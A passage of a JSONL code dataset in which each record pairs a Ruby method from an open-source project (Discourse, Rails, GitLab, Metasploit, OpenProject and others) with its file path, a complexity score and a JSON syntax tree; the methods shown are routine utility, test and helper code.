n\":[{\"type\":\"lvar\",\"children\":[\"descendants_query\"]},\"select\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cte\"]},\"table\"]},\"[]\",{\"type\":\"const\",\"children\":[null,\"DEPTH_COLUMN\"]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"tree_path || \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"quoted_objects_table_name\"]}]},{\"type\":\"str\",\"children\":[\".id\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"quoted_objects_table_name\"]}]},{\"type\":\"str\",\"children\":[\".id = ANY(tree_path)\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"descendants_query\"]},\"default_select_columns\"]}]},\"where\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cte\"]},\"table\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"tree_cycle\"]}]},\"eq\",{\"type\":\"false\",\"children\":[]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cte\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"descendants_query\"]}]},{\"type\":\"lvar\",\"children\":[\"cte\"]}]}]}","id":"662c1f5d-840c-42a3-9803-08412591707b"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/bulk_import/phpbb_postgresql.rb","start_line":434,"raw_source":"def add_default_smilies\n    {\n      %w[:D :-D :grin:] => \":smiley:\",\n      %w[:) :-) :smile:] => \":slight_smile:\",\n      %w[;) ;-) :wink:] => \":wink:\",\n      %w[:( :-( :sad:] => \":frowning:\",\n      %w[:o :-o :eek:] => \":astonished:\",\n      [\":shock:\"] => \":open_mouth:\",\n      %w[:? :-? :???:] => \":confused:\",\n      %w[8-) :cool:] => \":sunglasses:\",\n      [\":lol:\"] => \":laughing:\",\n      %w[:x :-x :mad:] => \":angry:\",\n      %w[:P :-P :razz:] => \":stuck_out_tongue:\",\n      [\":oops:\"] => \":blush:\",\n      [\":cry:\"] => \":cry:\",\n      [\":evil:\"] => \":imp:\",\n      [\":twisted:\"] => \":smiling_imp:\",\n      [\":roll:\"] => \":unamused:\",\n      [\":!:\"] => \":exclamation:\",\n      [\":?:\"] => \":question:\",\n      [\":idea:\"] => \":bulb:\",\n      [\":arrow:\"] => \":arrow_right:\",\n      %w[:| :-|] => \":neutral_face:\",\n      [\":geek:\"] => \":nerd:\",\n    }.each { |smilies, emoji| smilies.each { |smiley| @smiley_map[smiley] = emoji } }\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"add_default_smilies\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\":D\"]},{\"type\":\"str\",\"children\":[\":-D\"]},{\"type\":\"str\",\"children\":[\":grin:\"]}]},{\"type\":\"str\",\"children\":[\":smiley:\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\":)\"]},{\"type\":\"str\",\"children\":[\":-)\"]},{\"type\":\"str\",\"children\":[\":smile:\"]}]},{\"type\":\"str\",\"children\":[\":slight_smile:\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\";)\"]},{\"type\":\"str\",\"children\":[\";-)\"]},{\"type\":\"str\",\"children\":[\":wink:\"]}]},{\"type\":\"str\",\"children\":[\":wink:\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\":(\"]},{\"type\":\"str\",\"children\":[\":-(\"]},{\"type\":\"str\",\"children\":[\":sad:\"]}]},{\"type\":\"str\",\"children\":[\":frowning:\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\":o\"]},{\"type\":\"str\",\"children\":[\":-o\"]},{\"type\":\"str\",\"children\":[\":eek:\"]}]},{\"type\":\"str\",\"children\":[\":astonished:\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\":shock:\"]}]},{\"type\":\"str\",\"children\":[\":open_mouth:\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\":?\"]},{\"type\":\"str\",\"children\":[\":-?\"]},{\"type\":\"str\",\"children\":[\":???:\"]}]},{\"type\":\"str\",\"children\":[\":confused:\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"8-)\"]},{\"type\":\"str\",\"children\":[\":cool:\"]}]},{\"type\":\"str\",\"children\":[\":sunglasses:\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\":lol:\"]}]},{\"type\":\"str\",\"children\":[\":laughing:\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\":x\"]},{\"type\":\"str\",\"children\":[\":-x\"]},{\"type\":\"str\",\"children\":[\":mad:\"]}]},{\"type\":\"str\",\"children\":[\":angry:\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\":P\"]},{\"type\":\"str\",\"children\":[\":-P\"]},{\"type\":\"str\",\"children\":[\":razz:\"]}]},{\"type\":\"str\",\"children\":[\":stuck_out_tongue:\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\":oops:\"]}]},{\"type\":\"str\",\"children\":[\":blush:\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\":cry:\"]}]},{\"type\":\"str\",\"children\":[\":cry:\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\":evil:\"]}]},{\"type\":\"str\",\"children\":[\":imp:\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\":twisted:\"]}]},{\"type\":\"str\",\"children\":[\":smiling_imp:\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\":roll:\"]}]},{\"type\":\"str\",\"children\":[\":unamused:\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\":!:\"]}]},{\"type\":\"str\",\"children\":[\":exclamation:\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\":?:\"]}]},{\"type\":\"str\",\"children\":[\":question:\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\":idea:\"]}]},{\"type\":\"str\",\"children\":[\":bulb:\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\":arrow:\"]}]},{\"type\":\"str\",\"children\":[\":arrow_right:\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\":|\"]},{\"type\":\"str\",\"children\":[\":-|\"]}]},{\"type\":\"str\",\"children\":[\":neutral_face:\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\":geek:\"]}]},{\"type\":\"str\",\"children\":[\":nerd:\"]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"smilies\"]},{\"type\":\"arg\",\"children\":[\"emoji\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"smilies\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"smiley\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@smiley_map\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"smiley\"]},{\"type\":\"lvar\",\"children\":[\"emoji\"]}]}]}]}]}","id":"d547481f-2fbd-4ea0-af7f-6495062a8022"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/translation_helper_test.rb","start_line":365,"raw_source":"def test_translate_with_array_of_array_default\n    translation = translate(:'translations.missing', default: [[]])\n    assert_equal [], translation\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_translate_with_array_of_array_default\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"translation\",{\"type\":\"send\",\"children\":[null,\"translate\",{\"type\":\"sym\",\"children\":[\"translations.missing\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"translation\"]}]}]}]}","id":"e977b0ca-8df1-467d-b98c-ee4e4b7e4e7f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/hwbridge/ui/console/command_dispatcher/rftransceiver.rb","start_line":267,"raw_source":"def cmd_recv(*args)\n    self.idx ||= 0\n    arg = {}\n    timeout = -1\n    blocksize = -1\n    opts = Rex::Parser::Arguments.new(\n      '-h' => [ false, 'Help Banner' ],\n      '-t' => [ true, 'timeout' ],\n      '-b' => [ true, 'blocksize' ]\n    )\n    opts.parse(args) do |opt, _idx, val|\n      case opt\n      when '-h'\n        print_line(\"Usage: recv\\n\")\n        print_line(opts.usage)\n        return\n      when '-t'\n        timeout = val.to_i\n      when '-b'\n        blocksize = val.to_i\n      end\n    end\n    arg['blocksize'] = blocksize unless blocksize == -1\n    arg['timeout'] = timeout unless timeout == -1\n    r = client.rftransceiver.rfrecv(idx, arg)\n    if r.key?('data') && r.key?('timestamp')\n      print_line(\" #{r['timestamp']}: #{r['data'].inspect}\")\n    else\n      print_line(\"Error\")\n    end\n  end","complexity_score":43.5,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_recv\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"idx\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"arg\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"timeout\",{\"type\":\"int\",\"children\":[-1]}]},{\"type\":\"lvasgn\",\"children\":[\"blocksize\",{\"type\":\"int\",\"children\":[-1]}]},{\"type\":\"lvasgn\",\"children\":[\"opts\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Parser\"]},\"Arguments\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"-h\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Help Banner\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"-t\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"timeout\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"-b\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"blocksize\"]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opt\"]},{\"type\":\"arg\",\"children\":[\"_idx\"]},{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opt\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"-h\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Usage: recv\\n\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"usage\"]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"-t\"]},{\"type\":\"lvasgn\",\"children\":[\"timeout\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"to_i\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"-b\"]},{\"type\":\"lvasgn\",\"children\":[\"blocksize\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"to_i\"]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"blocksize\"]},\"==\",{\"type\":\"int\",\"children\":[-1]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"blocksize\"]},{\"type\":\"lvar\",\"children\":[\"blocksize\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"timeout\"]},\"==\",{\"type\":\"int\",\"children\":[-1]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"timeout\"]},{\"type\":\"lvar\",\"children\":[\"timeout\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"r\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"rftransceiver\"]},\"rfrecv\",{\"type\":\"send\",\"children\":[null,\"idx\"]},{\"type\":\"lvar\",\"children\":[\"arg\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"key?\",{\"type\":\"str\",\"children\":[\"data\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"key?\",{\"type\":\"str\",\"children\":[\"timestamp\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"[]\",{\"type\":\"str\",\"children\":[\"timestamp\"]}]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"[]\",{\"type\":\"str\",\"children\":[\"data\"]}]},\"inspect\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Error\"]}]}]}]}]}","id":"7310d3d0-2f1e-4180-8a44-5e428f177e5c"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/feed_events/bulk_upsert.rb","start_line":21,"raw_source":"def initialize(feed_events_data, timebox: FeedEvent::DEFAULT_TIMEBOX)\n      @feed_events_data = feed_events_data\n      @timebox = timebox\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"feed_events_data\"]},{\"type\":\"kwoptarg\",\"children\":[\"timebox\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FeedEvent\"]},\"DEFAULT_TIMEBOX\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@feed_events_data\",{\"type\":\"lvar\",\"children\":[\"feed_events_data\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@timebox\",{\"type\":\"lvar\",\"children\":[\"timebox\"]}]}]}]}","id":"60e7b64f-b1a5-4e0f-8061-2748ab73f97a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/commit_collection.rb","start_line":43,"raw_source":"def committers_lazy(with_merge_commits: false, include_author_when_signed: false)\n    emails = committers_emails(\n      with_merge_commits: with_merge_commits,\n      include_author_when_signed: include_author_when_signed\n    )\n\n    emails.map do |email|\n      BatchLoader.for(email.downcase).batch(default_value: []) do |committer_emails, loader|\n        User.by_any_email(committer_emails).each do |user|\n          loader.call(user.email) { |memo| memo << user }\n        end\n      end\n    end\n  end","complexity_score":18.3,"ast_json":"{\"type\":\"def\",\"children\":[\"committers_lazy\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"with_merge_commits\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"include_author_when_signed\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"emails\",{\"type\":\"send\",\"children\":[null,\"committers_emails\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with_merge_commits\"]},{\"type\":\"lvar\",\"children\":[\"with_merge_commits\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include_author_when_signed\"]},{\"type\":\"lvar\",\"children\":[\"include_author_when_signed\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"emails\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"email\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BatchLoader\"]},\"for\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"email\"]},\"downcase\"]}]},\"batch\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"array\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"committer_emails\"]},{\"type\":\"arg\",\"children\":[\"loader\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"by_any_email\",{\"type\":\"lvar\",\"children\":[\"committer_emails\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loader\"]},\"call\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"email\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"memo\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"memo\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]}]}]}]}]}","id":"59bbf2f4-7388-40f6-bb2f-a04d8af42656"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/metasploit/framework/data_service/proxy/host_data_proxy.rb","start_line":54,"raw_source":"def update_host(opts)\n    begin\n      self.data_service_operation do |data_service|\n        data_service.update_host(opts)\n      end\n    rescue => e\n      self.log_error(e, \"Problem updating host\")\n    end\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"update_host\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"data_service_operation\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data_service\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data_service\"]},\"update_host\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"log_error\",{\"type\":\"lvar\",\"children\":[\"e\"]},{\"type\":\"str\",\"children\":[\"Problem updating host\"]}]}]},null]}]}]}","id":"6cd9727a-e7e9-4630-ba2d-0760193b69eb"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/utilities/custom_field_injector.rb","start_line":374,"raw_source":"def derive_representer_class(custom_field)\n          REPRESENTER_MAP[custom_field.field_format]\n            .constantize\n        end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"derive_representer_class\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"custom_field\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPRESENTER_MAP\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"custom_field\"]},\"field_format\"]}]},\"constantize\"]}]}","id":"74417707-006b-4893-8afe-20a9fdb328f6"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/spec/lib/modules/embeddings/entry_point_spec.rb","start_line":55,"raw_source":"def stub_query_embedding(query)\n      embedding = [1] * embedding_definition.dimensions\n\n      EmbeddingsGenerationStubs.hugging_face_service(query, embedding)\n    end","complexity_score":5.9,"ast_json":"{\"type\":\"def\",\"children\":[\"stub_query_embedding\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"query\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"embedding\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1]}]},\"*\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"embedding_definition\"]},\"dimensions\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EmbeddingsGenerationStubs\"]},\"hugging_face_service\",{\"type\":\"lvar\",\"children\":[\"query\"]},{\"type\":\"lvar\",\"children\":[\"embedding\"]}]}]}]}","id":"8de38a97-22fb-46d7-9afb-e24ce57936bd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/usage/metrics/instrumentations/group_runner_token_expiration_enabled_metric.rb","start_line":8,"raw_source":"def value\n            return true if Gitlab::CurrentSettings.group_runner_token_expiration_interval&.positive?\n\n            expiration_interval = NamespaceSetting.arel_table[:subgroup_runner_token_expiration_interval]\n            NamespaceSetting.where(expiration_interval.gt(0)).exists?\n          end","complexity_score":10.1,"ast_json":"{\"type\":\"def\",\"children\":[\"value\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"CurrentSettings\"]},\"group_runner_token_expiration_interval\"]},\"positive?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"expiration_interval\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NamespaceSetting\"]},\"arel_table\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"subgroup_runner_token_expiration_interval\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NamespaceSetting\"]},\"where\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expiration_interval\"]},\"gt\",{\"type\":\"int\",\"children\":[0]}]}]},\"exists?\"]}]}]}","id":"9d406175-0c8b-44c3-8cca-b94d7f56aa68"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/visits/group.rb","start_line":50,"raw_source":"def calculate_time_difference(point_time)\n    (point_time - @current_visit.end_time) / 60.0\n  end","complexity_score":3.9,"ast_json":"{\"type\":\"def\",\"children\":[\"calculate_time_difference\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"point_time\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"point_time\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@current_visit\"]},\"end_time\"]}]}]},\"/\",{\"type\":\"float\",\"children\":[60.0]}]}]}","id":"6cea974b-0774-4e03-a7fe-566955b17733"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/watchers_controller.rb","start_line":50,"raw_source":"def find_watched_by_object\n    model_name = params[:object_type]\n    klass = ::OpenProject::Acts::Watchable::Registry.instance(model_name)\n    @watched = klass&.find(params[:object_id])\n    render_404 unless @watched\n  end","complexity_score":11.9,"ast_json":"{\"type\":\"def\",\"children\":[\"find_watched_by_object\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"model_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"object_type\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"klass\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"OpenProject\"]},\"Acts\"]},\"Watchable\"]},\"Registry\"]},\"instance\",{\"type\":\"lvar\",\"children\":[\"model_name\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@watched\",{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"object_id\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@watched\"]},null,{\"type\":\"send\",\"children\":[null,\"render_404\"]}]}]}]}","id":"5d32954e-ec60-4aec-a445-50c42a7cbb62"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab.rb","start_line":112,"raw_source":"def self.gl_subdomain?\n    subdomain_regex === Gitlab.config.gitlab.url\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"gl_subdomain?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"subdomain_regex\"]},\"===\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"config\"]},\"gitlab\"]},\"url\"]}]}]}","id":"85377e48-c8b2-466b-86e8-71a4dd0df15b"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/plugin/test_out_roundrobin.rb","start_line":53,"raw_source":"def create_driver(conf = CONFIG)\n    Fluent::Test::Driver::MultiOutput.new(Fluent::Plugin::RoundRobinOutput).configure(conf)\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create_driver\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"conf\",{\"type\":\"const\",\"children\":[null,\"CONFIG\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Test\"]},\"Driver\"]},\"MultiOutput\"]},\"new\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Plugin\"]},\"RoundRobinOutput\"]}]},\"configure\",{\"type\":\"lvar\",\"children\":[\"conf\"]}]}]}","id":"c579c50d-24b4-4cc6-9c6d-9450f8d0dd64"}
